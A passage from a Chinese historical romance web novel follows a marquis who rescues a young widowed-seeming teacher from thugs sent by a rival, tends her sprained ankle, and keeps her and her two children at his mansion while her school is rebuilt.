“这也太过分了!光天化日之下,竟敢这般打砸抢!” “是啊,还有没有王法了?一群大男人欺负一个小娘子,成何体统!” “罗娘子,快去县衙找官差来!这般行径,实在太恶劣了!” 张海一听有人建议罗苒去报官,连忙示意手下把蒙院的大门关上。 罗苒长这么大,从未见过这般阵仗,十几号壮汉当众打砸闹事,她彻底慌了神,只想先离开院子再做打算。 “还想跑?” 张海见罗苒要走,立马快步上前,一把抓住她的胳膊,猛地将她摔倒在地。 罗苒重重摔在冰冷坚硬的地上,脚踝传来一阵钻心的剧痛,一时之间竟站不起来。 一行男人的目光在罗苒慌乱惨白却娇媚的小脸上扫过,不怀好意地笑了, “哼,这等缺德毒妇,开着毒院祸害孩童,光打砸怎么够?不如也给她点教训,让她知道厉害!” 他们语气轻佻又恶毒,交换着心照不宣的猥琐眼神,让罗苒如被毒蛇爬过,毛骨悚然。 眼看着大门被关上,她心中顿时恐惧到了极点。 紧闭的院门刚关上片刻,便被外面一股巨力狠狠踹开。 “哐当”一声巨响,震得院中人耳膜发颤。 众人循声望去,只见楚烬身着玄色锦袍,身姿挺拔如松,周身裹挟着迫人的戾气,稳稳站在门口。 他身后跟着数十名神色肃然的侍卫,鱼贯而入后,瞬间便将院中十几号闹事者围得水泄不通。 楚烬的锐利目光如同寒刃,迅速扫过满地狼藉的庭院,急切地搜寻着什么。 当看到狼狈跌坐在地上脸色惨白如纸的罗苒时,他瞳孔骤然紧缩,脚步如风般大步上前,小心翼翼地将她抱起,稳稳护在怀中。 “嘶……” 起身的瞬间,罗苒不小心扯到了受伤的脚踝,一阵钻心的剧痛传来,她忍不住倒吸一口凉气,眉头紧紧蹙起。 楚烬顿时紧张起来,低头看向怀中的人, “你受伤了?” 话音落下,他猛地抬眸,眼底的焦灼瞬间被滔天怒火取代,眼神可怕森然,死死盯着那群闹事的人, “你们竟然敢伤她?谁给你们的胆子!” 凛冽的戾气压得在场每一个人都不由心生胆寒。 张海怎会不认识楚烬? 在看到楚烬出现的那一刻,他便已经吓破了胆。 他本以为罗苒如今只是个寻常百姓,便可任由他胡作非为,就算教训她一番,她也只能忍气吞声。 却万万没想到,她竟然还和楚烬有这般牵扯。 楚烬是什么人,他这个在楚府的下人怎能不清楚? 此刻的他,早已没了方才的嚣张气焰,脸色灰败如土,全身抖若筛糠,双腿发软几乎站不住。 他哆哆嗦嗦地开口,语气里满是讨好和恐惧, “侯,侯爷,我们就是过来……过来问问罗娘子一点事,都是误会,都是误会……” 楚烬未发一言,只冷冷瞥了他一眼。 身旁的侍卫心领神会,上前一步,狠狠一脚踹在张海的腿弯上。 “噗通”一声,张海重重跪倒在地,膝盖磕在冰冷的碎瓷片上,疼得他龇牙咧嘴,却连哼都不敢哼一声。 其余闹事者见状,吓得魂飞魄散,纷纷争先恐后地跪倒在地,此起彼伏的求饶声瞬间响彻庭院。 第一卷 第118章 我轻一些,苒娘再忍忍 “误会?” 楚烬的声音冷得没有一丝温度,低头睨着跪地的张海,话语间是凉丝丝的杀意, “你告诉我,是什么样的误会,能让你们这般胡作非为,还敢动手伤人?” 张海顾不得膝盖的剧痛,慌忙趴在地上,哆哆嗦嗦地求饶, “侯爷,今日是我不对,是我一时糊涂冲动,冒犯了罗娘子!院中所有的损失,我一并承担,还望罗娘子大人不记小人过,饶了我们这群不知好歹的下贱玩意吧!” 罗苒靠在楚烬怀中,望着眼前这群人。 方才还那般嚣张跋扈,甚至对她心怀不轨,如今在楚烬面前,却一个个装得唯唯诺诺卑躬屈膝。 她虽只是个女子,性子温顺,却也绝非任人随意欺辱轻易打发的软柿子。 她抬了抬手,指尖轻拽了拽楚烬的衣襟。 楚烬立即低头看向她,眼底的戾气瞬间收敛了几分。 罗苒恰到好处的抬眸,一双泪盈盈的杏眼撞进他的眼底,红唇轻启,软软的声音传来,带着一丝不易察觉的委屈和惧意, “侯爷,我无事,只是被那人推倒,崴了脚踝而已……好在你来得及时,他们还未来得及对我做什么……” 这番话看似是在劝慰楚烬,让他莫要动怒,可楚烬的眼眸却霎时变得更冷了几分。 “还未来得及做什么” 那便是说,他们本就打算做些什么。 他看着怀中女子煞白的小脸,眼底满是心疼。 他深知罗苒性子胆小,面对这十几个彪形大汉的打砸闹事,还要承受他们不怀好意的打量,孤立无援之下,定然极度恐惧慌乱…… 这般一想,楚烬只觉得怒火汹涌的几乎要摧毁一切。 他强忍着滔天怒意,想先将受伤的罗苒暂且安置好。 却发现连卧房竟都被这一伙人给砸了。 屋中一片狼藉,几乎没地方落脚。 他脸色沉得更加厉害,转头将人抱出院外,侯府马车已经在外候着。 临到院门口时,楚烬的脚步骤然一顿,扭头对身旁的侍卫冷声道, “将这一行人,双手统统废了,再细细审问,务必查清楚他们来滋事的真正缘由。” “是,侯爷!” 侍卫齐声应下,语气肃然。 楚烬将罗苒抱上马车,还不忘了拿过软垫垫在她腰后。 庭院中传来此起彼伏的惨叫声与求饶声,尖锐又凄厉,就算在院外的马车上都能听得清楚。 罗苒下意识地缩了缩肩膀。 楚烬看着她小兔般纯良惊慌的模样,眼底的戾气褪去,轻声安抚道, “不怕,他们都是罪有应得。” 此时看着柔声安抚她的楚烬,罗苒心中百感交集。 她本以为,之前那般明确的拒绝后,他应该会彻底放弃,却万万没想到,今日在她最危难无助的时候,他会及时出现。 她抬眸望着楚烬,态度诚恳道, “今日真是谢过侯爷了,不然……” 话未说完,那些人当时不怀好意的眼神便再次浮现在眼前,罗苒心头一阵心悸,眼圈也不由自主地红了。 楚烬看着她泛红的眼眶,语气愈发温柔,伸手轻轻拂去她脸颊的碎发, “你我之间,何需如此客气。” 顿了顿,他的语气又瞬间变冷,眼底闪过一丝狠戾, “放心,这些人,我定然一个也不放过。” 罗苒定了定神,想到楚烬恰到好处的出现,有些疑惑, “不过侯爷,今日您怎会恰巧在此处?” 楚烬闻言,语气自然地掩饰道, “我正巧路过这附近,本想着顺路进来看看衍儿和小玥,却没想到会撞见这般事。” 罗苒闻言,不由叹道, “幸好您及时出现,不然我真的不知道该怎么办才好。” 话语间满是劫后余生的庆幸。 楚烬看着她这副模样,心头又疼又怜,目光不自觉落在她始终微微僵着不敢动的脚踝上。 “你脚踝上的伤势可要紧?” 罗苒闻言,试着动了动脚踝,一丝尖锐的刺痛瞬间传来,比之前更甚。 她顿时疼得倒吸一口凉气,眉头紧紧蹙起, “还是有些疼……” 楚烬神色瞬间凝重起来,没有再多说安慰的话,只是扶过她的小腿,将她鞋袜脱下作势帮她察看伤势。 那纤细白皙的脚踝已然肿七,泛着不正常的淡青。 “忍一忍,我帮你试试,看看有没有伤到筋骨。” 说着,他温热的大手攥住罗苒的脚踝,力道起初极轻,缓缓试探着转动。 刺痛再次袭来,罗苒下意识轻呼一声, “啊……疼……” 身体轻颤着本能地想将脚往后缩。 楚烬手上的力道瞬间顿住,攥得却更紧了些,声音沉了几分, “弄疼你了……我轻一些,苒娘再忍忍……” 嘴上说着放轻力道,指尖却又稍稍加力,仔细探查着筋骨是否受损。 “唔……” 罗苒咬着下唇,强忍着疼,只低低闷哼了一声。 片刻后,楚烬缓缓松开摁着她脚踝的手,眼底的凝重稍稍褪去,轻声道, “还好,没有伤到骨头,只是筋扭到了,好好休养几日便会好转。” 说着从怀中掏出随身携带的精致玉瓶,沉声道, “这是玉髓生机露,你之前用过的……对于扭伤也有消肿止痛的效果……” 楚烬一手仍握着罗苒的脚,单手打开药瓶,一副作势要帮她上药的架势。 察看伤势尚且情有可原,可上药这等事就有些…… 罗苒心头泛起一阵局促,脸也有些红,下意识将脚往回缩了缩, “我,我自己来吧……这般麻烦侯爷,实在不妥。” 楚烬却直接将她要缩回的脚拉回,俊逸的脸上神情认真, “玉髓生机露需用指腹反复柔化,才能让药效彻底渗透,你自己不方便,我来就好。” 说罢,他半蹲在马车里,微微俯身,将罗苒的脚放在自己膝盖上,专心致志地帮她上起药来。 罗苒再坚持也不是那么回事,只能有些僵硬地由着楚烬帮她上药。 从她的角度望去,恰好能看到楚烬低垂的眉眼。 他神色专注,目光尽数落在她的脚踝上,长长的睫毛在眼睑下投下一小片阴影,指腹蘸着药膏,轻柔地在肿胀的地方反复揉搓按压。 第一卷 第119章 勾搭着奸夫的夫君,你又何苦这般执着 力道轻重适宜,既缓解了痛感,又能让药效充分吸收。 不知怎的,罗苒的思绪忽然飘远,想起了以往…… 那时楚烬也总喜欢这样,用大拇指指腹反复摩挲她的脚踝,指尖的温度透过衣料传来,带着灼热的触感,而后他会轻而易举地将她的脚踝抬起,放到自己肩上…… 薄唇代替指腹,轻轻贴上她的肌肤,一点点摩挲亲吻,顺着脚踝缓缓向上,每一处触碰都带着滚烫的情意…… “好了。” 楚烬的声音骤然响起,将罗苒的思绪猛地拉回现实。 “暂且先这样上药缓解肿胀,等处理完这边的事,我再找人好好给你诊治。” 猛然回神的罗苒这才意识到自己刚刚再想些什么。 只觉得脑子发了昏,羞窘得耳朵都在发烫,连忙低下头,再也不敢看他。 就在这时,马车外传来一阵沉重的脚步声。 侍卫提着被废了双手瘫软如泥的张海快步走来。 楚烬抬手掀开马车帘,神色瞬间恢复了冷冽。 侍卫见状,将张海像扔垃圾一般,扔在马车边的地上,而后躬身对楚烬禀报道, “回禀侯爷,属下已经审问清楚了。此人是楚府新晋的管事,此番前来,确实是故意滋事,目的便是想将罗娘子从蒙院赶走,断了她的安身之处。” 楚烬坐在马车内,听闻属下这般举报有些意外,居高临下地睨着匍匐在地上浑身颤抖不止的张海,语气冰冷刺骨, “你竟是楚府的人?倒是胆大包天,找事竟找到了本侯的人身上。” 张海刚被废了双手,疼得满脸冷汗,他趴在地上,战战兢兢,声音抖得不成样子,连连求饶, “侯爷开恩!侯爷开恩啊!奴才,奴才也是奉命行事,奴才若是知道罗娘子是侯爷您护着的人,就算给奴才一百个胆子,奴才也不敢如此放肆啊!” “奉谁的命?行谁的事?” 楚烬问。 张海眼神闪烁,显然是在犹豫,不敢轻易开口。 楚烬将他的迟疑看在眼里,随即冷声吩咐道,“来人,将他的双腿也废了。” “不要!侯爷饶命!侯爷饶命啊!” 张海顿时惨叫连连,吓得魂飞魄散,再也不敢犹豫,连忙哭喊着说道, “我说!我都说!奴才是奉了刘翠兰的命!是她让奴才来的!” 楚烬听闻,脸色瞬间又沉了几分。 张海喘着粗气,不敢有半分隐瞒,连忙继续说道, “刘翠兰她一直以来,都在楚府以大房夫人自居,得知罗娘子没死,她便满心忌惮,担心侯爷您对罗娘子旧情难忘,日后会危及她和她儿子刘崇的地位……所以她才找到奴才,让奴才来教训罗娘子,把她彻底赶走,让她再也不敢出现在侯爷您面前。” 他一边说,一边连连磕头, “小的句句属实,不敢有半句虚言!那刘翠兰现在就在不远处的酒楼里等着奴才复命,侯爷若是不信,可派人去查证!” “小的上有老下有小,双手已经废了,不能再没有双脚,求侯爷开恩,给奴才留条活路啊!” 楚烬全然无视他的苦苦哀求,眼底只有化不开的寒意,当下抬眼对身旁的侍卫冷声道, “立刻带人去附近酒楼,将刘翠兰捉拿归案,带回侯府,本侯要亲自审问!” 楚烬执意要将罗苒带回侯府,美其名曰张海是楚家的下人,如今做出这等伤天害理之事,害得罗苒受伤,理应由他全权照拂。 罗苒被楚烬稳稳抱进侯府奢华雅致的卧房时,还在不停抗议。 她的小脸因恼怒涨得通红,一双杏眼瞪得圆圆的,试图跟楚烬讲道理, “侯爷,我真的不便在侯府养伤,小玥和衍儿离不开我,我得回去陪着他们。” 楚烬垂眸看着她气鼓鼓的模样,半点不肯退让, “随后我便让人将两个孩子接来,让他们陪着你,你不必担心。” 罗苒又急又无奈,连忙补充, “可蒙院还有其他二十几个孩子需要照看,我走了,他们怎么办?” “我会找两个品行端正细心妥帖的女先生,去蒙院照看孩子们,一应事宜都安排妥当,不会出任何差错。” 楚烬语气笃定,早已想好周全之策。 罗苒咬了咬唇,又道, “我有夫君,这般住在其他外男家中,于情于理都不合,还请侯爷体谅。” 楚烬低头目光紧紧锁住她精致白嫩的小脸,语气带着几分不易察觉的嘲讽, “你夫君?他都能将勾搭的奸夫带回家中,你又何苦这般执着,为他守着那所谓的名节?于你们家而言,又何来‘于理不合’一说?” 第一卷 第120章 苒娘其实想让我做些什么? 罗苒万万没想到楚烬竟然知道楚乘风暂住她家的事,一时被堵得哑口无言,脸颊涨得更红,半天也只能憋出一句,声音细若蚊蚋, “侯爷,这真的不合适……” “有何不合适?” 楚烬打断她,语气沉了几分, “张海是我楚家的下人,主谋刘翠兰也是楚府的门客,如今他们合伙行凶,害你受伤,砸毁你的庭院,于情于理,我都该对你负责。你庭院被砸得无法居住,我暂时将你接来侯府照看一二,合情合理。” 见罗苒还想开口反驳,楚烬又放缓了语气, “两年后初遇那时,我不知你已婚,才会对你情难自已,有过逾矩的心思……如今我已然知晓你有夫君,纵然他非良人,我也会坚守底线,若你不愿,我自不会对你做任何越界之事……” 说到此处,他微微倾身,语气带着几分戏谑, “还是说,苒娘其实想让我做些什么?” 楚烬素来是两国谈判的好手,逻辑缜密,罗苒又怎能辩得过他? 此刻虽然羞恼却仍被他说得哑口无言,好似自己若再继续坚持,就真的是故意矫情,甚至真的盼着楚烬对她做些什么一般。 见罗苒不再反驳,小脸绷着一副束手无策的模样,楚烬眼底闪过一丝笑意,抬手宠溺地摸了摸她的头, “苒娘好乖。” 正到中午,楚烬特意让人送来午膳。 菜式精致讲究,加上一份熬得恰到好处的蹄花翡翠汤和几样香甜却不腻的糕点甜品。 虽不是些奢华的大鱼大肉,却意外地合罗苒胃口。 刚用完膳,门外便传来了孩童清脆的声音。 房门被推开,果然是衍儿和小玥,一同前来的还有黎娜、姜采薇和楚乘风。 想来他们都听说了家中的事,放心不下,便一同匆匆赶来了。 衍儿和小玥一见到坐在椅子上的罗苒,立马挣脱身边人的手,快步扑上前,奶声奶气地喊着, “娘亲!娘亲!” 罗苒原本还担心,张海那群人凶神恶煞,会不会吓到孩子们。 如今看他们没事,也彻底放下心来。 “娘亲,你受伤了吗?” 小玥仰着小小的脸蛋,眉头紧紧蹙着,一脸担忧地看着罗苒。 “娘亲伤到哪里了?还疼吗?” 衍儿也凑上前来,黑黝黝的大眼睛亮晶晶地望着罗苒,小手拉着她的衣袖认真地说, “我给娘亲呼呼,呼呼就不疼了……” 罗苒摸了摸两个孩子的小脑袋,柔声安抚道, “娘亲没事,就是脚踝不小心扭到了,上了药已经不疼了,你们不用担心。” “阿苒,我们刚听说家中发生的事,得知你受伤,便马不停蹄地赶来了。” 一旁的姜采薇上前,满脸关切地看着她, “你脚伤得怎么样?严不严重?” “我真的没事,应该只是伤到了筋,上了药之后,已经不怎么疼了。” 罗苒温笑着道。 “我再帮你看看。”黎娜放心不下,已然主动上前蹲下身子,小心翼翼地卷起罗苒的裤脚,察看她的脚踝伤势。 脚踝依旧有些肿胀,但触碰时,罗苒已经没有了明显的痛感。 黎娜仔细检查了一番,这才放心道, “确实只是伤到了筋,好好上药休整一段时间就能恢复,不会留下后遗症……不过这涂抹的药膏……” 她将指尖沾染的一点药膏凑到鼻下闻了闻,清冽的药香扑面而来,纯净无杂,眼中瞬间闪过一丝惊奇,抬头看向楚烬,语气带着几分难以置信, “这是药王谷的玉髓生机露?楚烬竟然拿这给你涂扭伤?” “应该是吧……”罗苒应道。 两年前楚烬就曾拿这药膏给她涂过,她虽也听说过药王谷的药难得,但见楚烬连小伤小痛都给自己用,便觉得他许是有门路,并不缺这类药品,也就不再觉得稀奇了。 说着,她指了指一旁桌上的精致玉瓶,“便是这个。” 黎娜本就痴迷医术,玉髓生机露乃是药王谷的疗伤秘药,极为稀罕,寻常人连见都见不到,她自然爱不释手。 连忙拿起玉瓶,拧开瓶塞细细研究起来,眼神里满是喜爱。 一旁的楚乘风见状,连忙凑上前,讨好地对黎娜说道, “阿黎,你喜欢这个?改明儿我再多跟我大哥讨几瓶,都给你。” 黎娜白了他一眼,语气带着几分嗔怪, “你一边去,我还没找你算账呢!阿苒遇到危险,你为何第一时间不来找我,反倒让人去找了楚烬?到底他是阿苒的夫君还是我是?” 楚乘风脸上的笑容一僵,连忙讨好地解释, “我在门口一眼便瞧到了那张海是楚府的人,我这不担心他看到我后会回去同我母亲说些有的没的,才没敢冒然露面……” “再者,那些人一个个凶神恶煞,我若是去找你,万一他们伤了你怎么办?我大哥皮糙肉厚,久经沙场,退一万步讲就算真被他们伤了也不打紧,他护着罗娘,我才放心。” 第一卷 第121章 把小白兔,亲手送进狼窝 “你还真是我的好弟弟。” 一道阴阳怪气的声音传来,正是刚刚因公事出去了一趟的楚烬。 他不知何时已经走了进来,淡淡地瞥了楚乘风一眼,眼中里满是嘲讽。 楚乘风自是感受到了他的目光,尴尬地笑了笑,连忙缩到黎娜身后,不敢再说话。 黎娜不动声色地将手中的玉瓶揣进自己怀中,抬眼看向楚烬,语气坚定, “楚侯爷,我此次前来,是来接我娘子回去的。侯府尊贵非凡,我们这等平民百姓,自是不便在此叨扰太久。” 楚烬闻言,只是淡淡抬眸,目光落在黎娜身上,态度坚决, “不是我不肯让苒娘回去,而是眼下,她根本不宜离开侯府。” 他缓缓开口,条理清晰地解释, “蒙院如今被砸得一片狼藉,连下脚的地方都没有,根本无法居住。我已让人加急安排修缮,可至少还需三日才能完工。” “苒娘脚踝受伤,行动不便,还带着两个年幼的孩子,即便回去,也无处落脚。反倒不如留在侯府,既能安心养伤,也能让孩子们有个安稳舒适的去处。” 黎娜不满道, “蒙院被毁,我们居住的房间也不能住人啊……” 楚烬仿佛早已料到她的反驳,神色从容不迫, “这点你不必担心,我已经包下了你们药堂旁边的旅店,收拾得干净妥当,这段时日,你们便可搬去那里居住,一应开销都由我来承担。” “让我们住旅店,却让阿苒和孩子们住侯府,侯爷的目的,未免太过明显了吧?” 黎娜忍不住直言,眼底满是戒备。 楚烬却没有半分被戳破心思的尴尬或难堪,神色依旧坦然, “苒娘脚踝扭伤,虽无大碍,但这几日根本无法下地行走,亟需专人悉心照料。侯府有专门的太医每日复诊调理,还有手脚麻利的丫鬟伺候她饮食起居擦拭换药,比你们带回旅店照料,更为妥当周全,也能让她好得更快……” 他顿了顿,又添了几分凝重, “再者,张海是楚家的下人,刘翠兰虽已被捉拿归案,但谁也不敢保证她没有余党。苒娘此次受袭,归根结底是因楚府之人而起,我若让她离开侯府,万一再有人趁机加害,便是我的失职,我绝不能冒这个险。” “你们若是放心不下日后每日都可前来探望。” 黎娜皱紧眉头,心底仍是犹豫…… 楚烬说的确实不无道理。 家中被毁得那般彻底,即便加急翻新整理,也有太多琐事需要她和姜采薇亲力亲为,若是真的将罗苒带回旅店,她腿脚不便,还要照看两个孩子,她们定然会疏于照料,反倒不利于罗苒养伤。 这般想来,让罗苒留在侯府,确实是眼下最安全妥帖的选择。 可她转头看了一眼,一身素衣坐在椅子上,神色温顺,因行动不便去哪都需人搀扶的罗苒,心底又泛起一丝不忍,总觉得这般将人留下,无异于把温顺的小白兔,亲手送进狼窝。 楚烬将黎娜的犹豫与戒备看在眼里,不动声色地从怀中掏出两个精致的玉瓶,放在桌上。 玉瓶质地通透,隐隐能闻到里面传来的清冽药香。 “我和药王谷谷主是旧识,千金难求的玉髓生机露在我这里可敞开使用,你既是大夫自然知道普通药膏和这玉髓生机露的区别,用不了几日苒娘便回痊愈……” 看着桌上和自己刚刚塞进怀中一模一样的玉瓶,黎娜眼前一亮,也顾不上再多犹豫,连忙上前拿起玉瓶,飞快地塞进怀里。 最终,黎娜还是松了口。 她细细嘱咐罗苒一番,这才恋恋不舍地同其他二人一起离开。 楚烬行事雷厉风行,不过半日功夫,便彻底查清了所有来龙去脉,坐实了刘翠兰的所有罪责。 即便三房老爷与三太太闻讯后匆匆赶来,二人双双放下身段,轮番为刘翠兰求情。 百般说辞恳请楚烬从轻发落,也丝毫没能动摇他半分。 楚烬态度决绝,最终毅然将刘翠兰发配至偏远庄子圈禁终生,永世不得踏出庄子半步。 此事尘埃落定,罗苒便安心留在侯府静养脚踝伤势。 楚烬将罗苒安置在侯府主院的雅致侧院,特意拨了数名机灵妥帖的丫鬟随从贴身伺候,一应吃穿用度皆安排得无微不至。 起初不得不住在楚烬这里,罗苒还有些担心。 但过了两日,楚烬除了时不时过来关心一下她和两个孩子之外,确实没有其他过分举动,她这才渐渐松懈下来。 药王谷的玉髓生机露效果绝佳,不过两日光景,罗苒肿胀的脚踝便大幅消肿,疼痛感褪去大半,已经能缓慢行走。 侯府主院景致极佳,庭院草木葱茏四季常青,院外一方池塘澄澈透亮,里头养着许多色彩鲜亮体态肥硕的锦鲤,灵动可爱。 小玥与衍儿住进侯府的这些日子住得很开心,侯府庭院宽阔雅致景致万千,处处都是他们从未见过的新鲜模样,两个小家伙满心好奇,每日都玩得十分尽兴。 正午时分,下人刚刚布置好精致丰盛的午膳,两个小小的身影便提着小木筐,气喘吁吁地跑了回来。 二人满头薄汗,眉眼亮晶晶的,满脸都是藏不住的雀跃。 两个孩童身后,楚烬一袭青色素雅长衫缓步而来。 青衫之下身形颀长端正,往日身居高位的冷冽锋芒尽数收敛,眉眼温和。 “娘亲!娘亲!你快看我们抓的小鱼!” 衍儿跑到罗苒面前,献宝似的高高举起手中的木桶,眼底满是兴奋。 桶中清水澄澈,几条色彩斑斓的小锦鲤自在游动,鲜活灵动。 “娘亲,我也有!” 小玥紧随其后,踮着脚将自己的小木桶递到罗苒眼前,里头同样装着数尾漂亮的锦鲤。 罗苒看得眉眼含笑,柔声道, “哇,好漂亮的小鱼,你们从哪里抓来的呀?” 说着,她抬手拿出干净手帕,细细温柔地擦去两个孩子额间的薄汗,动作温柔缱绻。 小玥弯着眼睛笑成一对月牙,回头望向身侧面容和煦的楚烬,甜甜回道。 “是楚公爷带我们去池塘边捞的!” 衍儿重重点头,圆圆的眼眸里满是崇拜, “楚公爷好厉害,一网下去就能捞好多好多小鱼……” 第一卷 第122章 工期一拖再拖 “是啊是啊!” 小玥仰着白嫩软糯的小脸,连连附和, “若不是到了用膳时辰,楚公爷能把池塘里的小鱼都捞给我们!” 罗苒看着两个孩子毫无芥蒂的模样,心底几分无奈。 楚烬气质冷冽威严,身姿威武,自带生人勿近的慑人气势,寻常孩童见了他无不心生畏惧。 唯独小玥和衍儿,许是幼时曾与他亲近过,对他毫无半分惧意,反倒格外黏人亲近。 她轻声叮嘱,“楚公爷平日里公务繁忙,你们不能这般贪玩,总打扰他。” “无妨。” 楚烬缓步走上前来,神色舒展,看起来心情极好, “这段时日公务清闲,不碍事。” 他垂眸落在罗苒身上,目光细细描摹着她今日的模样。 只见此事的她身着一身自己昨日特意让人备下的碧云纱裙。 粉白配色清雅温柔,愈发衬得她肌肤莹白眉眼温婉,一颦一笑都动人得让人移不开眼。 “脚踝伤势好些了?” 他柔声开口,满是关切。 罗苒轻轻颔首, “多谢侯爷关心,已经可以试着下地行走,再过几日应当就能彻底痊愈了。” “我方才问过前来复诊的太医,” 楚烬语气认真,细细叮嘱, “你恢复得虽快,但依旧不能逞强,切记量力而行,不可走动过多,免得拉扯旧伤加重伤势。” 罗苒乖乖点头应下。 楚烬见餐桌上膳食已然齐备,温声开口, “两个小家伙疯玩了一上午,定然饿了,我们先用膳。” 说罢,弯腰自然而然地将罗苒抱起。 罗苒未来得及推脱,就已经被放到了餐桌前的座椅上。 随后楚烬又转身吩咐丫鬟,将小玥和衍儿抱到椅子上。 桌上膳食丰盛精致荤素搭配得当,都是孩子们爱吃的口味。 小玥与衍儿吃得津津有味,腮帮子鼓鼓的,模样甚是可爱。 楚烬看着两个粉雕玉琢的小娃,愈发喜爱,时不时抬手为他们夹菜,低声叮嘱二人慢些进食。 “若是喜欢,日后便常留在侯府,想吃什么,我便让人日日做给你们。” 他低声对小玥和衍儿说道。 两个孩子眼睛瞬间亮了起来,孩童心思纯粹直白,当即天真问道, “真的吗?我们可以一直留在侯府吗?” 楚烬唇角噙着浅淡笑意, “自然可以。” 他自然是巴不得借着这个机会,将她们母子三人彻底留在身边。 小玥眨着澄澈的大眼睛,好奇追问, “那爹爹和小叔也能一起来住吗?小叔做的糖醋排骨超好吃!” “嗯嗯!”衍儿连忙附和, “爹爹最爱吃肉,这里的大肘子她肯定喜欢!” 黎娜男扮女装与罗苒假意成婚的事,从未刻意瞒过两个孩子。 孩子们懵懂天真,早已习惯这般相处模式,人前乖巧唤二人爹爹小叔,人后亲昵叫姨姨。 朝夕相伴这么久,他们早已将黎娜与姜采薇视作最亲近的家人。 闻言,楚烬眼底的笑意淡了几分,想起孩子们心心念念的“爹爹”,心头微涩,面上却不动声色,只是含糊带过。 随即转而给罗苒布菜,不忘细细叮嘱, “你身上有伤,多吃一点,好好补补身子。” 转眼间,罗苒碗中便摞满了各色菜肴,她无奈, “太多了,我吃不完的。” “再多吃些。” 楚烬语气温柔却不容拒绝,想起方才抱她时,她身子轻盈单薄的模样, “你太瘦了,需要好好滋养。” “我已经让人小火煨着滋补药汤,下午给你送来。” 他细细安排着,面面俱到, “往后有什么想吃的需要的,只管跟身边丫鬟开口。明日成衣坊的匠人回来,天渐炎热,我让人给你同孩子们多做几身轻薄衣衫,再添置些合适的头面首饰。” 楚烬越是细致周全,罗苒心底越是慌乱,连忙出声拒绝, “侯爷不必这般费心,我只是暂居几日,如今伤势恢复得极快,顶多两日便能回去,实在不用这般铺张。” 好不容易才将人留在身边,看着她日日惦记着离开,楚烬心底自然万般不愿。 他淡淡开口,“你的伤势虽恢复得快,但蒙院修缮出了些意外,怕是要耽搁十天半个月才能完工。” “出了什么意外?” 罗苒瞬间蹙眉,满心疑惑。 楚烬像是刚刚想起一般,从怀中取出一封书信,递到她手中, “这是那人给你的,他们这两日忙着蒙院修缮,没时间来探望你,便给你写了信。” “上午和两个孩子玩得开心,忘记给你了。” 楚烬连名字都不愿提起的那人,除了黎娜还能有谁。 罗苒放下筷子,接过黎娜写给她的信,打开看了一眼,大吃一惊。 信中写明,此前蒙院遭人打砸损毁,房东见状心生不满,借机上门狮子大开口,索要高额赔偿,百般纠缠闹事。 此事因楚府而起,楚烬便亲自出面处置,索性将整座蒙院庭院买下,归入小玥名下。 恰逢庭院后方的空地也在对外售卖,楚乘风与黎娜见楚烬财大气粗,便暗自鼓动他一并拿下。 楚烬毫不犹豫,顺势将整片空地尽数购入,还主动承担了所有扩建修缮的费用,打算重新修建宽敞的教室与偌大的庭院,专门供孩童读书玩耍。 因为工程比较大,所以这段时间姜采薇监工,楚乘风支钱,药堂只剩黎娜一人,这几日便不能来探望了。 罗苒没想到简单的修缮竟然这般大动干戈, “这……这怎么行?” 虽然楚烬口口声声说这事他有责任,但这明显是把他当冤大头…… 这人平日精明内敛,如今怎也由着楚乘风和黎娜这般胡闹? 楚烬却全然不以为意,“本就是楚府惹出的祸事,理应由我担责。些许银钱而已,无需放在心上。更何况,我也想让衍儿和小玥日后有个宽敞舒服的住处,有安稳的读书之地。” 他嘴上说得坦荡无私,心底却藏着私心,巴不得工程一拖再拖,耗时一年半载,好让她们母子三人长久留在自己身边。 一旁埋头扒饭的两个孩子听得真切,顿时抬起懵懂的小脸,满眼好奇。 小玥脆生生问道,“娘亲,楚公爷要给我们盖大房子吗?” 衍儿也连忙开口,“那我们院里是不是也可以养大鲤鱼了?” 楚烬被两个小家伙的天真模样逗笑,温柔应声, “当然可以。衍儿若是喜欢,我便让人专门修缮一方小鱼塘,将你们今日捞的小鱼尽数放养进去。” “哇!太好了!” 衍儿欢喜得拍手欢呼,眼底满是崇拜, “楚公爷最棒了!” 第一卷 第123章 娘的脸怎么和桃子一样红了? “楚公爷最棒了!” 用过午膳,罗苒本想哄两个孩子睡午觉。 可上午楚烬答应了下午要带他们去后院摘桃子,这才刚撤下餐食,两个孩子便一左一右扯着他的袖子,怎么也不肯撒手。 罗苒看着此番模样,心中不免尴尬局促。 楚烬平日公务缠身,哪能总陪着孩童嬉闹。 几番出声劝阻,却根本拗不住兴致高涨的两个孩子。 楚烬面上毫无不耐之色,反倒含笑开口,邀着罗苒一同前去。 “你整日闷在屋内养伤,怕是会憋坏,不如同我们一起去后院透透气。” 罗苒推脱, “我行动尚且不便,就不添麻烦了,你们去就好。” 她脚踝未愈,没人搀扶只能缓慢行走,也不愿频频麻烦侯府丫鬟伺候。 “有何不便?” 楚烬眼底藏着浅浅笑意,心底巴不得日日将她抱在怀中,她身形轻盈柔软,抱在怀里温香软玉,让他满心欢喜。 说着,他便作势要俯身抱她。 罗苒连忙抬手拦住,面露窘迫。 在外人眼中,她终究是有夫君之人,这般屡屡被楚烬相拥,太过不妥。 楚烬看出她的顾虑矜持,便不再勉强,转而吩咐两名丫鬟小心搀扶着她往后院走去,又早早让人在桃树下摆好藤椅备好清茶点心,让她安稳歇息。 暖风吹拂,枝叶轻摇。 罗苒静静坐在树荫下,望着不远处温馨的一幕。 楚烬身姿挺拔,抱着兴高采烈的衍儿与小玥,穿梭在桃林间摘桃。 侯府的桃树打理得极好,枝繁叶茂,沉甸甸的粉白桃子挂满枝头。 片刻功夫,三人便摘了满满一筐鲜嫩饱满的桃子。 小玥提着小竹筐快步跑到罗苒身边,兴奋地道, “娘亲,树上的桃子又大又甜!你快点好起来,以后我们一起摘桃子!楚公爷说,今晚可以把这些桃子做成甜品,肯定超级好吃!” 罗苒看着孩子们雀跃的模样,心底也泛起暖意,笑道, “可惜娘亲脚还未痊愈,等娘亲彻底好了,明年春日,便带你们去西山的万亩桃园,摘最大最甜的桃子……” 楚烬恰好跟着身后小玥走近,闻言低笑出声, “苒娘想摘桃,何须等到明年。” 话音未落,他不等罗苒反应,俯身骤然将她抱起。 罗苒猝不及防,一声轻呼卡在喉间。 下一瞬,她便稳稳坐在了楚烬一侧的肩头。 他宽大温热的手掌稳稳箍着她的腰肢,力道安稳牢靠,像极了当年花灯节,他托举着她摘花灯的模样。 罗苒心头微慌,下意识低头看向身下的男人。 